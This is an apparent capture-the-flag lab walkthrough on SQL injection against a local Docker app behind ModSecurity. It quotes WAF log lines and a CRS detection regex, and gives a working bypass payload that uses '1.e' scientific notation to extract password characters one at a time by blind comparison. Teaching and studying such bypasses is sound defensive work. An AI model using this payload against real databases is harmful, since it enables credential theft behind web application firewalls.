SQL Syntax Lab
Launching the instance
$ cd 03-sqli
$ docker-compose up
Open http://localhost in a browser to confirm that everything is running.
Initialize the database by fetching db_reset.php
.
Live instance (only for Hackfest)
Finding the SQL injections
There are two SQL injection vulnerabilities in the applications.
Answer
-
genre
parameter from theindex.php
page. -
id
parameter from themovie_detail.php
page.
Detection can be done
GET /?genre=actio'%20'n HTTP/1.1
Host: localhost
[...]
ModSecurity
As soon as you will test the parameters with SQL keywords, modsecurity return a Forbidden page.
Does the union
and select
are systematically blocked?
Answer
"Union" and "select" are english words that are too common to always be blocked.
You can confirm this behavior by requesting index.php?genre=union
ModSecurity is a combination of RegEx and context analysis by libinjection. Looking at the log you will be able to see which rule is triggered.
Log Troubleshooting
The log is pretty verbose because they attach complete requests.
Here is a Regex rule that matched:
ModSecurity: Warning. Pattern match \"(?i:(?:[\\\\\\\\\"'`](?:;?\\\\\\\\\\\\\\\\s*?(?:having|select|union)\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\\s*?[^\\\\\\\\\\\\\\\\s]|\\\\\\\\\\\\\\\\s*?!\\\\\\\\\\\\\\\\s*?[\\\\\\\\\"'`\\\\\\\\\\\\\\\\w])|(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\\\\\\\\\s*?\\\\\\\\\\\\\\\\([^\\\\\\\\\\\\\\\\)]*?|u(?:nion(?:[\\\\\\\\\\\\\\\\w(\\\\\\\\\\\\\\\\s]*?select| select @)|ser\\\\\\\\\\\\\\\\s*?\\\\\\\\\\\\\\\\([^\\\\\\\\\\\\\\\\)]*?)|s(?:chema\\\\\\\\\\\\\\\\s*?\\\\\\\\\\\\\\\\([^\\\\\\\\\\\\\\\\)]*?|elect.*?\\\\\\\\\\\\\\\\w?user\\\\\\\\\\\\\\\\()|in ...\" at ARGS:genre.
[file \"/etc/modsecurity.d/owasp-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf\"]
[line \"183\"] [id \"942190\"]
Here libinjection
[id \"942100\"]
[msg \"SQL Injection Attack Detected via libinjection\"]
[data \"Matched Data: s&(s) found within ARGS:genre: union' or ('')='\"]
[severity \"CRITICAL\"]
Can you use the scientific notation to confuse modsecurity? If you want the solution, read the next section.
Exploitation
Here is the general syntax necessary to exfiltrate varchar values from the database.
With the 1.e
notation expression that is ignored by the DBMS.
or 1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
This is how the DBMS will interpret the query.
or (ascii (substring((select password from users limit 1,1) ,1 ,1 ))) = 70 or'1'='2
With this SQL syntax, we are targeting the field
password
from the tableusers
. The function substring is used to extract one character at the time and compare it to an ascii value (70
in the example).
Scripting
Once you have a working request that is producing an oracle (binary response based on the matching content). It is possible to script an attack to extract the complete content of any database tables.